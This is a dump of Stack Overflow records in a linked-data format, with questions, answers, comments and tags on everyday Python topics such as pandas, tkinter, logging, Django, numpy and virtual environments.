has answer: http://stackoverflow.com/a/46919920
answer count: 3
type: UnansweredQuestion
score: 1

http://stackoverflow.com/comment/80959144
score: 0
type: QuestionComment
type: Comment
has text: I just want it to output floats only from the list.
comment on: http://stackoverflow.com/q/47006293

http://stackoverflow.com/comment/81013888
type: Comment
type: AnswerComment
has text: I want to add condition on sales order for wizard field. But, Now i am not getting any id to that wizard field. So, what is the procedure for getting ids of wizard fields on sales order form?
comment on: http://stackoverflow.com/a/47033304
score: 0

http://stackoverflow.com/comment/80871817
score: 4
comment on: http://stackoverflow.com/q/46962153
type: Comment
type: QuestionComment
has text: `A[:,:,t]` ....?

http://stackoverflow.com/a/70536940
type: Answer
answers question: http://stackoverflow.com/q/46978948
score: 0
has body: def give_me_a_new_vertex_position_along_normal(old_vertex_position, normal): new_vertex_position = old_vertex_position + normal return new_vertex_position There is a difference between affine spaces (your normals) and euclidean/linear spaces (your vertices). Vectors in linear space have coordinates associated with them, while vectors in affine space do not. Adding an affine-spaced vector to a linear-spaced vector is called projection and that is what you are looking to do.
upvote count: 1
has comment: http://stackoverflow.com/comment/131052274
downvote count: 1

http://stackoverflow.com/comment/80964021
has text: The first form allows zero or more of `atom|expr`, so for instance it allows `atom expr`. The second allows zero or more `atom`, *or* zero or more `expr`. It does not allow `atom expr`.
comment on: http://stackoverflow.com/q/47008728
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/comment/81051152
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47051770
has text: @ettanany any idea why we cannot use the text.replace(p,'') for p in punctuation inside a list bracket?

http://stackoverflow.com/a/47009132
answers question: http://stackoverflow.com/q/47008864
score: 1
has body: Instead of loggers.update(dict(name=logger)) you must write loggers.update({moduleName: logger}). In line logger = logging.getLogger(moduleName) you always get the same logger by its name. So every time you instantiate your class you add new handlers to the logger and every handler prints a line. You must configure all the logging only once, on the module level.
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47008864
downvote count: 0
upvote count: 1
type: Answer

http://stackoverflow.com/q/47001978
answer count: 1
has body: I'm trying to create new csv file from the existing one. My original csv file has 300 000 of records out of which I want 1st 200 000 records. I'm using pandas package from python, as I'm currently working on Machine learning project. I've tried: import pandas as pd df = pd.read_csv('sample_submission.csv') df = df.head(2000002) df.to_csv('solution.csv') as well as import pandas as pd df = pd.read_csv('sample_submission.csv') df = df[:2000002] df.to_csv('solution.csv') But no success. What should I do to achieve my aim?
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has title: Creating new csv file from existing by removing last 100k rows using Pandas package
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47002020
accepted answer: http://stackoverflow.com/a/47002020
downvote count: 0
tagged with: pandas
score: 1
upvote count: 1

http://stackoverflow.com/a/47065621
type: Answer
answers question: http://stackoverflow.com/q/47059124
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/81090973
score: 3
has body: Here using a groupby with apply() and using the numpy weighted average method. df.groupby(['colour','city']).apply(lambda x: np.average(x.perc, weights=x.weight)).unstack(level=0) which gives colour red yellow city LA 0.173870 0.865636 NY 0.077912 0.687400 I don't have All on the margin though. This will produce the totals df.groupby(['colour']).apply(lambda x: np.average(x.perc, weights=x.weight)) df.groupby(['city']).apply(lambda x: np.average(x.perc, weights=x.weight)) Granted still not packaged into a single frame

http://stackoverflow.com/comment/80800902
type: Comment
has text: Can you please give me an example?
type: AnswerComment
comment on: http://stackoverflow.com/a/46926523
score: 0

http://stackoverflow.com/q/47006726
type: Question
has title: Panda in Python skips computation on first line
tagged with: python
has body: I have a file with its content as 0.08300343840033242 0.5721455830484666 0.46518116038504165 I ran following script on it: import pandas as pd import csv df = pd.read_csv('circle1.csv') df1 = df**2 print df1 Problem in the output is pandas skips the computation on first line but squares the rest of numbers: C:\Python27\python.exe C:/Users/Deepak/PycharmProjects/Submission/balnk.py 0.08300343840033242 0 0.327351 1 0.216394 What is causing this trouble and what can be done to resolve it.
has answer: http://stackoverflow.com/a/47006808
has comment: http://stackoverflow.com/comment/80960086
type: AnsweredQuestion
score: 0
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
answer count: 1
accepted answer: http://stackoverflow.com/a/47006808

http://stackoverflow.com/q/46943567
has comment: http://stackoverflow.com/comment/80834926
tagged with: directory
has comment: http://stackoverflow.com/comment/80834825
score: 9
type: Question
tagged with: http://stackoverflow.com/tag/zip
has title: Get name of folders in zip files - Python
has body: I have been searching the whole stackoverflow to get an idea on how to extract only names of subfolders from a zip file path. I tried using tkinter to get the zip path: Import os from tkinter import filedialog import tkinter as tk from zipfile import ZipFile root = tk.Tk() root.withdraw() root.filename = filedialog.askopenfilename(initialdir=os.getcwd(), title="Select file", filetypes=[("zip", "*.zip")]) And used the ZipFile and namelist to hopefully get the names of all subfolders. with ZipFile(root.filename, 'r') as f: names = f.namelist() However, I get that: ['CS10/', 'CS10/.DS_Store', '__MACOSX/', '__MACOSX/CS10/', '__MACOSX/CS10/._.DS_Store', etc........ I want to know if there is a way to just get the folder name which is in this case CS10 and so on. Example: If I have 3 folders named: "Apple" "Orange" "Pear" in a zip file path(Users/Kiona/fruits.zip), I want to print ['Apple','Orange','Pear'].
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80834881
answer count: 1
has comment: http://stackoverflow.com/comment/80834742
has comment: http://stackoverflow.com/comment/80834899
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/80834831
has answer: http://stackoverflow.com/a/46943752
has comment: http://stackoverflow.com/comment/80834724
favorite count: 0
has comment: http://stackoverflow.com/comment/80834690
upvote count: 9
has comment: http://stackoverflow.com/comment/80834733

http://stackoverflow.com/q/46963171
has answer: http://stackoverflow.com/a/47059894
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80876675
has title: Theano and pygpu: errors
score: -1
has body: I'm using Theano with pygpu. Generally, it works well until, for reasons I still haven't managed to understand, it shows the following error once I try to import theano: ERROR (theano.gpuarray): Could not initialize pygpu, support disabled Traceback (most recent call last): File "/home/poko/Software/anaconda2/lib/python2.7/site-packages/theano/gpuarray/__init__.py", line 220, in &lt;module&gt; use(config.device) File "/home/poko/Software/anaconda2/lib/python2.7/site-packages/theano/gpuarray/__init__.py", line 207, in use init_dev(device, preallocate=preallocate) File "/home/poko/Software/anaconda2/lib/python2.7/site-packages/theano/gpuarray/__init__.py", line 94, in init_dev **args) File "pygpu/gpuarray.pyx", line 651, in pygpu.gpuarray.init File "pygpu/gpuarray.pyx", line 587, in pygpu.gpuarray.pygpu_init GpuArrayException: cuInit: CUDA_ERROR_UNKNOWN: unknown error If I reboot my computer, it works well again, for a while (sometimes for days..). Now that situation is strange, given that such things either do work, or don't. I have not the faintest about what is generating the error, apart from observing from nvidia-smi that xorg and chrome do suck quite a lot of memory: +-----------------------------------------------------------------------------+ | Processes: GPU Memory | | GPU PID Type Process name Usage | |=============================================================================| | 0 1332 G /usr/lib/xorg/Xorg 392MiB | | 0 2243 G cinnamon 110MiB | | 0 4927 G ...-token=39C210A3DFA14C5D81FA629C813B843D 154MiB | +-----------------------------------------------------------------------------+
has comment: http://stackoverflow.com/comment/80878123
has comment: http://stackoverflow.com/comment/80921936
type: Question
tagged with: theano-cuda
tagged with: theano
upvote count: 0
answer count: 1
tagged with: machine-learning
tagged with: python
accepted answer: http://stackoverflow.com/a/47059894
downvote count: 1
tagged with: cuda
has comment: http://stackoverflow.com/comment/80913951
favorite count: 0
has comment: http://stackoverflow.com/comment/80928225

http://stackoverflow.com/comment/108599589
type: Comment
comment on: http://stackoverflow.com/a/47019917
has text: Thnx, I was/am trying to subclass collections.OrderedDict and there are a lot of *mangled* attributes. If I can't figure it out I'll ask a question.
score: 0
type: AnswerComment

http://stackoverflow.com/a/47007360
upvote count: 1
answers question: http://stackoverflow.com/q/47007253
score: 1
has comment: http://stackoverflow.com/comment/80961533
has body: This would be a question better suited for regex. What's likely happening is "I" is in word_list, and since ' is considered a word boundary, \bI\b matches the "I" in "I'm". A simple fix would be to place "I'm" before "I" in the word_list. A more complete fix would be to create a new regex where apostrophes aren't included in the word boundaries. This can be done in a roundabout fashion by replacing all apostraphes with another unicode character.
downvote count: 0
type: Answer

http://stackoverflow.com/comment/108706410
score: 3
comment on: http://stackoverflow.com/a/47004533
type: Comment
type: AnswerComment
has text: @B.M. I wonder if you can call this O(1). O notation is the "worst case", right? Then in the worst case scenario, you will be traversing every element in array, which is O(n). Do you agree?

http://stackoverflow.com/q/46959107
tagged with: python
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
upvote count: 3
has title: Python Parsing XML to CSV with missing Elements
downvote count: 0
answer count: 1
has body: First time trying to parse XML to CSV using Python. I need some help with when I have multiple customers and they do not have the same child elements. When a customer does not have a child element I want the csv file column to be populated with 'Empty'. I want 'Empty' to be a placeholder so that the values that do exist populate in the correct column. Example of what's happening, notice how data in the second row which is suppose to be in the zipcode, street, and number field are being squeezed into previous columns where no values were found. !https://i.sstatic.net/Ik5J1.jpg! Here's an example of what I'm trying to do, as you will see the 'Empty' is just a place holder: !https://i.sstatic.net/uByjT.jpg! Here's my python code: import xml.etree.ElementTree as ET import csv tree = ET.parse(r'C:\Documents\cat.xml') root = tree.getroot() #Open the file for writing CustomerData = open(r'C:\Users\Kris\Documents\customerdata.csv', 'w') #Create header row object header_row = [] #Create the csv writer object csvwriter = csv.writer(CustomerData) #Set count to 0 count = 0 #Find tags and text for node in tree.iter('Customer'): data = [] if count == 0: for customerid in node.iter('Id_Customer'): customer = customerid.tag header_row.append(customer) for segmentid in node.iter('Segment'): segment = segmentid.tag header_row.append(segment) for event in node.iter('Event'): for natureid in event.iter('Nature'): nature = natureid.tag header_row.append(nature) for event2 in node.iter('Event'): for Extrainfoid in event2.iter('Extrainfo'): extrainfo = Extrainfoid.tag header_row.append(extrainfo) for address in node.iter('Address'): for zipcode in address.iter('zipcode'): zipcd = zipcode.tag header_row.append(zipcd) for address in node.iter('Address'): for streetname in address.iter('street'): street = streetname.tag header_row.append(street) for address in node.iter('Address'): for number in address.iter('number'): num = number.tag csvwriter.writerow(header_row) count = count + 1 for cus…
tagged with: parsing
favorite count: 0
type: Question
score: 3
has answer: http://stackoverflow.com/a/47060477
accepted answer: http://stackoverflow.com/a/47060477
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/80900273

http://stackoverflow.com/q/46950078
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/46950189
favorite count: 0
has title: Unpacking nested dictionary list within python
type: Question
tagged with: pandas
score: 1
tagged with: http://stackoverflow.com/tag/json
tagged with: python
has body: I would be very grateful if someone could suggest a more Pythonic way of handling the following issue: Problem: I have a json object parsed into a python object (dict). The issue I have is that the json object structure is a list of dictionaries(dict1). These dictionaries contain a dictionary(dict2). I would like to parse all the content of dict1 and combine the contents of dict2 within dict1. Thereafter, I would like to parse this into pandas. json_object = { "data": [{ "complete": "true", "data_two": { "a": "5", "b": "6", "c": "6", "d": "8" }, "time": "2016-10-17", "End_number": 2 }, { "complete": "true", "data_two": { "a": "11", "b": "21", "c": "31", "d": "41" }, "time": "2016-10-17", "End_number": 1 } ], "Location": "DE", "End Zone": 5 } My attempt: dataList = json_object['data'] Unpacked_Data = [(d['time'],d['End_number'], d['data_two'].keys(),d['data_two'].values()) for d in dataList] Unpacked_Data is a list of tuples that now contains (time, end_number, [List of keys], [list of values]) To use this in a Pandas dataframe I would then need to unpack the two lists within my tuple. --> is there an easy way to unpack lists within a tuple? Is there a better and more elegant/Pythonic way of approaching this problem? Thanks, 12avi
has comment: http://stackoverflow.com/comment/80849663
upvote count: 1
type: UnansweredQuestion

http://stackoverflow.com/comment/80900869
has text: the ouput is not the same
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46976690
type: Comment

http://stackoverflow.com/q/47019706
score: -1
tagged with: dictionary
has comment: http://stackoverflow.com/comment/80986124
has body: I have a nested dict with several numerical values expressed as strings. Is there a pythonic way to convert all strings that contain an int to an int and all that contain a float to a float? For example {'top': {'val1': '123', 'val2': '1.23'}, 'top2': '123'} To {'top': {'val1': 123, 'val2': 1.23}, 'top2': 123}
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80986123
downvote count: 2
answer count: 1
has comment: http://stackoverflow.com/comment/80992010
upvote count: 1
accepted answer: http://stackoverflow.com/a/47021069
favorite count: 0
has comment: http://stackoverflow.com/comment/80986333
has answer: http://stackoverflow.com/a/47021069
has title: Python: Convert all integer- and floatstrings in a dict to their numerical values
type: AnsweredQuestion
tagged with: python

http://stackoverflow.com/comment/80920721
comment on: http://stackoverflow.com/q/46986856
score: 0
has text: @PM2Ring Thanks, I have edited the question.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46949967
downvote count: 0
type: AcceptedAnswer
has body: You may do that without a regex by splitting with Elector's Name:, stripping the resulting items from whitespace and dropping all empty items: ss = ["Elector's Name: Surpam Badurubai Elector's Name: Madavimaru Elector's Name: Madavitannubai", "Elector's Name: GEDAM KARNU Elector's Name: GEDAM BHEEM BAI Elector's Name: Surpam Rajeshwar Rav"] for s in ss: print(filter(None, [x.strip() for x in s.split("Elector's Name:")])) See a Python demo, output: ['Surpam Badurubai', 'Madavimaru', 'Madavitannubai'] ['GEDAM KARNU', 'GEDAM BHEEM BAI', 'Surpam Rajeshwar Rav'] Just in case you want to study regex, here is a possible regex based solution: re.findall(r"Elector's Name:\s*(.*?)(?=\s*Elector's Name:|$)", s) See another Python demo Pattern details Elector's Name: - a literal substring \s* - 0+ whitespaces (.*?) - Group 1 (this value is returned by re.findall): any 0+ chars other than line break chars (with re.DOTALL, including them) as few as possible (?=\s*Elector's Name:|$) - a positive lookahead that requires 0+ whitespaces and Elector's Name: after them or the end of string ($) immediately to the right of the current location.
type: Answer
accepted answer of: http://stackoverflow.com/q/46949850
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/80849097
answers question: http://stackoverflow.com/q/46949850

celery-task
tags question: http://stackoverflow.com/q/46982280
tags question: http://stackoverflow.com/q/47057983
tags question: http://stackoverflow.com/q/46976009
tag name: celery-task
type: Tag
tags question: http://stackoverflow.com/q/47048211

http://stackoverflow.com/comment/80852308
has text: @cᴏʟᴅsᴘᴇᴇᴅ the csv code is not important because is can read and save, i wanna to make this output OrderedDict([('karakteristik',, 3.0)]) , so like this 3.0, just the number and finally i input to the csv file
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46952594

http://stackoverflow.com/q/47025998
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/20449427
score: -3
has comment: http://stackoverflow.com/comment/80999161
tagged with: python
has answer: http://stackoverflow.com/a/47026016
has body: n = input("What is your number") if n &gt; 0: print("It's Bigger Than 0") else: print("It's smaller than 0") why does this give an error TypeError: '>' not supported between instances of 'str' and 'int'
has title: Super Beginner Code Confusion
upvote count: 0
has comment: http://stackoverflow.com/comment/80999160
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80999170
answer count: 1
downvote count: 3

replace
tags question: http://stackoverflow.com/q/47010169
type: Tag
tags question: http://stackoverflow.com/q/46920454
tags question: http://stackoverflow.com/q/46937897
tags question: http://stackoverflow.com/q/46908897
tags question: http://stackoverflow.com/q/47057347
tags question: http://stackoverflow.com/q/47023138
tag name: replace
tags question: http://stackoverflow.com/q/47057847
tags question: http://stackoverflow.com/q/46970394
tags question: http://stackoverflow.com/q/46914923
tags question: http://stackoverflow.com/q/46940348
tags question: http://stackoverflow.com/q/46991650

http://stackoverflow.com/q/46984635
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/80916815
has title: Numpy Random 2D Array
score: 5
has answer: http://stackoverflow.com/a/46984851
upvote count: 5
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80916623
has body: I want to create a 2D uniformly random array in numpy which is something like: A=[[a1,b1], [a2,b2], ..., [a99,b99]] But I want the values of the A column between a certain range (say between 1-10) and values of B within a different range (say 11-20). How would this be obtained in Python?
accepted answer: http://stackoverflow.com/a/46984851
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/q/47032413
has answer: http://stackoverflow.com/a/47051895
tagged with: python
has title: python3 selenium find_elements_by_class_name cannot click on each item
has answer: http://stackoverflow.com/a/47034729
has body: itemList = driver.find_elements_by_class_name('site-piclist_info') print(len(itemList)) for item in itemList: item.click() handles = webdriver.window_handles print(handles) line1 works and line2 is processed and get the result but line4 cannot be processed the list of handls always contain only one handle; see the image.
score: 0
answer count: 2
tagged with: selenium
type: Question
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81011334

http://stackoverflow.com/q/47041274
answer count: 4
has comment: http://stackoverflow.com/comment/81029405
has title: Tuples inside of python string formatting?
score: 1
tagged with: python-3.5
has answer: http://stackoverflow.com/a/47041346
has answer: http://stackoverflow.com/a/47041402
downvote count: 0
upvote count: 1
tagged with: string
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47041345
type: UnansweredQuestion
tagged with: string-formatting
has answer: http://stackoverflow.com/a/47041352
tagged with: python
has body: Basically, I'm trying to templatize Latex code where I need to output strings like B_{i}, and I'd like to call string formatting to change i. But the problem is that using Python's string formatting - which uses tuples to denote arguments - has been causing me trouble when I want to maintain tuples in my outputted string. EXAMPLE Suppose I have: subscript = "22" value = "10" stringy = "B_{{0}} = {1}".format(subscript, value)" When I print stringy I get: B_{0} = 10 I'd like to get: B_{22} = 10
has comment: http://stackoverflow.com/comment/81029519

http://stackoverflow.com/q/47048187
score: 1
has answer: http://stackoverflow.com/a/47060709
accepted answer: http://stackoverflow.com/a/47060709
downvote count: 0
possible better answer: http://stackoverflow.com/a/47196068
tagged with: jupyter
has title: Python packages not installed separately for different venv environments
favorite count: 0
tagged with: jupyter-notebook
type: Question
tagged with: python-3.x
has body: TL;DR Would like to run Jupyter notebooks with different python setups. Python packages always install globally. Don't understand why.\TL;DR I would like to run Jupyter notebooks with different python setups using venv. See here for the official documentation. Python 3.6 is already installed on my system $ python --version Python 3.6.1 :: Continuum Analytics, Inc. Using the following commands I have created two virtual environments: $ python3 -m venv --without-pip Documents/venv/test01 $ python3 -m venv --without-pip Documents/venv/test02 Following this guide I tried setting up different kernels for each notebook with $ source activate test01 (Documents/venv/test02) $ python -m ipykernel install --user --name test01 --display-name test01 However, the second command failed with /Users/dominik/Documents/venv/test02/bin/python: No module named ipykernel So, I deactivated my venv and ran the same command outside the venv which succeeded $ source deactivate test01 $ python -m ipykernel install --user --name test01 --display-name test01 $ python -m ipykernel install --user --name test02 --display-name test02 Inside my Jupyter notebook I can see the different kernels now: new kernels available Now I'm creating a new notebook using test01 kernel. Inside the notebook, I try to add a module which is not available in Python by default: $ import mord --------------------------------------------------------------------------- ModuleNotFoundError Traceback (most recent call last) &lt;ipython-input-2-a00d777a7e47&gt; in &lt;module&gt;() ----&gt; 1 import mord ModuleNotFoundError: No module named 'mord' This is as expected. I then go about to installing that package into my test01 environment using pip $ source activate Documents/venv/test01 (Documents/venv/test01) $ pip install mord After restarting my test01 kernel the import error disappears - as expected. However - and now this is my question - when I import mord package on a test02 notebook, there is no import error either. Wh…
upvote count: 1
tagged with: python
tagged with: virtualenv
has answer: http://stackoverflow.com/a/47196068
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/81174486
has comment: http://stackoverflow.com/comment/81167214
has comment: http://stackoverflow.com/comment/81167501

http://stackoverflow.com/q/47062314
type: Question
has body: I can access https://siscourses.ethz.ch/python_dbiol/data/logistic_data.txt with curl or within google chrome without any complaints about the certificate. If I run import requests request.get("https://siscourses.ethz.ch/python_dbiol/data/logistic_data.txt") I get ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:749) What is going wrong here ? I could disable certificate validation, but would prefer to understand the underlying problem.
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/47069087
has answer: http://stackoverflow.com/a/47069087
tagged with: python
tagged with: ssl-certificate
has title: requests declines certificate
upvote count: 3
answer count: 1
downvote count: 0
tagged with: python-requests
favorite count: 0

http://stackoverflow.com/comment/80794824
type: QuestionComment
comment on: http://stackoverflow.com/q/46923963
has text: you want to remove the last 3 letters?
score: 0
type: Comment

http://stackoverflow.com/q/46992457
favorite count: 0
type: Question
tagged with: python-3.x
has body: I'm trying to dynamically add subframes to a main Frame widget. The subframes are columns with buttons in them, I created a separate class for the subframes in order to have the subframes as objects in a list so I can alter them later. In reality the amount of extra columns also depends on user input. I first use the grid manager to add widgets to the main Frame, later I use grid to add buttons to the subframes. I expect grid to realize when it is used in different frames, but it appears the grid calls inside the subframe class place widgets directly inside the main frame instead of just inside the subframe. Code: import tkinter as tk extra_columns = 1 class App(tk.Tk): def __init__(self, *args, **kwargs): tk.Tk.__init__(self, *args, **kwargs) container = tk.Frame(self) container.grid(sticky="nsew") container.grid_rowconfigure(0, weight=1) container.grid_columnconfigure(0, weight=1) self.frames = {} for F in (MainFrame,): page_name = F.__name__ frame = F(parent=container, controller=self) self.frames[page_name] = frame frame.grid(row=0, column=0, sticky="nsew") self.show_frame("MainFrame") def show_frame(self, page_name): frame = self.frames[page_name] frame.tkraise() class MainFrame(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.subframes = [] self.init_main() self.init_subframes() def init_main(self): self.title = tk.Label(text='Title') self.title.grid(row=0, column = 2) for i in range(1, 3): b = tk.Button(text=str(i)) b.grid(row=i, column=0) c = tk.Button(text=str(i+10)) c.grid(row=i, column=2+extra_columns+1) def init_subframes(self): for i in range(1, extra_columns+1): m = SubFrame(self) self.subframes.append(m) m.grid(row=1, column=2+i, rowspan=5) class SubFrame(tk.Frame): def __init__(self, parent): tk.Frame.__init__(self, parent) for i in range(1, 6): b = tk.Button(text="extra"+str(i), command=lambda: print("button \ pressed")) b.grid(row=i, column=0) root = App() root.mainloop() For the r…
tagged with: tkinter
tagged with: python
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80945685
tagged with: oop
upvote count: 1
has answer: http://stackoverflow.com/a/46996246
accepted answer: http://stackoverflow.com/a/46996246
answer count: 1
downvote count: 1
has title: Adding subframes in Tkinter python3
has comment: http://stackoverflow.com/comment/80932675

http://stackoverflow.com/q/46919009
answer count: 1
downvote count: 0
tagged with: django
has answer: http://stackoverflow.com/a/46919321
favorite count: 0
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80785947
has comment: http://stackoverflow.com/comment/80785578
has title: return float(value) ValueError: could not convert string to float in Django models
tagged with: django-models
tagged with: python
accepted answer: http://stackoverflow.com/a/46919321
score: 2
upvote count: 2
has body: I try to makemigrations / migrate on this Django models : from django.db import models from myapp.models import Site class GscElement(models.Model): ctr = models.FloatField('Taux de clic', default=0.0) impressions = models.IntegerField('Nombre d\'impressions', default=0) position = models.FloatField('Position moyenne', default=0.0) clicks = models.IntegerField('Nombre de clics', default=0) site = models.ForeignKey( Site, models.SET_NULL, blank=True, null=True ) class Page(GscElement): page_field = models.TextField('Url de la page', default='') startdate = models.DateField('Date du debut', null=True) enddate = models.DateField('Date de fin', null=True) class Meta: unique_together = (('startdate', 'enddate', 'page_field',)) class Query(GscElement): query_field = models.TextField('Requête', default='') startdate = models.DateField('Date du debut', null=True) enddate = models.DateField('Date de fin', null=True) class Meta: unique_together = (('startdate', 'enddate', 'query_field'),) and I get this error : Applying gsc.0004_auto_20171024_1916...Traceback (most recent call last): File "manage.py", line 22, in &lt;module&gt; execute_from_command_line(sys.argv) File "/Users/Quentin/git/myapp/myapp_env/lib/python3.6/site-packages/django/core/management/__init__.py", line 364, in execute_from_command_line utility.execute() File "/Users/Quentin/git/myapp/myapp_env/lib/python3.6/site-packages/django/core/management/__init__.py", line 356, in execute self.fetch_command(subcommand).run_from_argv(self.argv) File "/Users/Quentin/git/myapp/myapp_env/lib/python3.6/site-packages/django/core/management/base.py", line 283, in run_from_argv self.execute(*args, **cmd_options) File "/Users/Quentin/git/myapp/myapp_env/lib/python3.6/site-packages/django/core/management/base.py", line 330, in execute output = self.handle(*args, **options) File "/Users/Quentin/git/myapp/myapp_env/lib/python3.6/site-packages/django/core/management/commands/migrate.py", line 204, in handle fake_initial=fake_init…

http://stackoverflow.com/q/46913253
type: Question
has comment: http://stackoverflow.com/comment/80773614
has answer: http://stackoverflow.com/a/46915133
upvote count: 3
possible better answer: http://stackoverflow.com/a/46915357
has answer: http://stackoverflow.com/a/46930477
downvote count: 0
has answer: http://stackoverflow.com/a/46915357
has comment: http://stackoverflow.com/comment/80773538
favorite count: 0
tagged with: logging
type: AnsweredQuestion
score: 3
answer count: 3
linked to: http://stackoverflow.com/q/1436703
tagged with: python
has title: Python logging: how to save class attributes values in the log file
accepted answer: http://stackoverflow.com/a/46915133
has body: I'm new to logging in python and I would like to save, other than the outcome of a long pipeline in the log file, also the parameters/class attributes of some of the instance created in the pipeline. Ideally this should not pollute too much the code where the class is implemented. Even better if the solution takes into account only the instance of the class and writes its attribute in the log file without touching at all the class implementation. Any suggestion, or god practice advice? --- Edit: An unpolished and simplified version initial attempt (as asked in the comment) is the most obvious I could think of, and consist in adding a method that queries the attribute of the class in a string to be returned when the method is called: In a python package with 2 modules main.py and a_class.py written as follows: &gt;&gt; cat main.py import logging from a_class import MyClass logging.basicConfig(filename='example.log',level=logging.DEBUG) logging.warning('Print this to the console and save it to the log') logging.info('Print this to the console') o = MyClass() o.attribute_1 = 1 o.attribute_2 = 3 o.attribute_3 = 'Spam' logging.info(o.print_attributes()) and &gt;&gt; cat a_class.py class MyClass(): def __init__(self): self.attribute_1 = 0 self.attribute_2 = 0 self.attribute_3 = 0 def print_attributes(self): msg = '\nclass.attribute_1 {}\n'.format(self.attribute_1) msg += 'class.attribute_2 {}\n'.format(self.attribute_2) msg += 'class.attribute_3 {}\n'.format(self.attribute_3) return msg The example.log contains what I wanted, which is: WARNING:root:Print this to the console and save it to the log INFO:root:Print this to the console INFO:root: class.attribute_1 1 class.attribute_2 3 class.attribute_3 Spam In reformulating the question, is there a way of doing the same query to the attribute of the class and send it to the log without adding any kind of print_attributes method in the class itself?
has comment: http://stackoverflow.com/comment/80776062

http://stackoverflow.com/q/46958456
favorite count: 0
has body: What do I need to do to make payments available with Stripe and Django using dj-stripe 1.0? I found the documentation quite unforgiving for a newcomer to dj-stripe. I think I have gleaned that most configuration of e.g. subscription plans are done at stripe.com and updated via webhooks to my application. However, what do I need to implement myself and how?
has title: How to get started with dj-stripe 1.0?
tagged with: python
type: Question
score: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46962742
upvote count: 3
answer count: 1
tagged with: django
downvote count: 1
tagged with: stripe-payments

http://stackoverflow.com/a/47046820
has comment: http://stackoverflow.com/comment/81041340
has comment: http://stackoverflow.com/comment/127699392
score: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/47046745
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/81041212
answers question: http://stackoverflow.com/q/47046745
has comment: http://stackoverflow.com/comment/81041281
has body: I use Toplevel instead of a new root def New_page(): popup = Toplevel() popup.grab_set() this should do the trick
type: AcceptedAnswer

http://stackoverflow.com/a/46953187
has body: The module is well implemented. The problem with your code is that you are calling a module instead of a function. In your particular case the module and the function have the same names hence the confusion. To solve that you need to fix your code as follows: from Bio.PDB import * cifFile = '1bu7.cif' mmcif = MMCIF2Dict.MMCIF2Dict(cifFile)
answers question: http://stackoverflow.com/q/46946635
upvote count: 2
accepted answer of: http://stackoverflow.com/q/46946635
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/80910077
score: 2
type: AcceptedAnswer

http://stackoverflow.com/a/46917827
accepted answer of: http://stackoverflow.com/q/46917696
type: Answer
answers question: http://stackoverflow.com/q/46917696
has body: Use regex: import re pattern= '|'.join(['dog','cat','cow','fish']) df['StrLookUp'] = [re.findall(pattern, i) for i in df['String']]
upvote count: 2
type: AcceptedAnswer
downvote count: 0
score: 2

http://stackoverflow.com/comment/80836380
has text: You put what you want to take the square root of inside the 'math.sqrt()' if you leave the () empty you will get an error.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46944466

http://stackoverflow.com/q/46912253
tagged with: python-3.x
has body: I have a matrix called inverseJ, which is a 2x2 matrix ([[0.07908312, 0.03071918], [-0.12699082, -0.0296126]]), and a one dimensional vector deltaT of length two ([-31.44630082, -16.9922145]). In NumPy, multiplying these should yield a one dimensional vector again, as in this example. However, when I multiply these using inverseJ.dot(deltaT), I get a two dimensional array ([[-3.00885838, 4.49657509]]) with the only element being the vector I am actually looking for. Does anyone know why I am not simply getting a vector? Any help is greatly appreciated! Whole script for reference from __future__ import division import sys import io import os from math import * import numpy as np if __name__ == "__main__": # Fingertip position x = float(sys.argv[1]) y = float(sys.argv[2]) # Initial guesses q = np.array([0., 0.]) q[0] = float(sys.argv[3]) q[1] = float(sys.argv[4]) error = 0.01 while(error &gt; 0.001): # Configuration matrix T = np.array([17.3*cos(q[0] + (5/3)*q[1])+25.7*cos(q[0] + q[1])+41.4*cos(q[0]), 17.3*sin(q[0] + (5/3)*q[1])+25.7*sin(q[0] + q[1])+41.4*sin(q[0])]) # Deviation deltaT = np.subtract(np.array([x,y]), T) error = deltaT[0]**2 + deltaT[1]**2 # Jacobian J = np.matrix([ [-25.7*sin(q[0]+q[1])-17.3*sin(q[0]+(5/3)*q[1])-41.4*sin(q[0]), -25.7*sin(q[0]+q[1])-28.8333*sin(q[0]+(5/3)*q[1])], [25.7*cos(q[0]+q[1])+17.3*cos(q[0]+(5/3)*q[1])+41.4*cos(q[0]), 25.7*cos(q[0]+q[1])+28.8333*cos(q[0]+(5/3)*q[1])]]) #Inverse 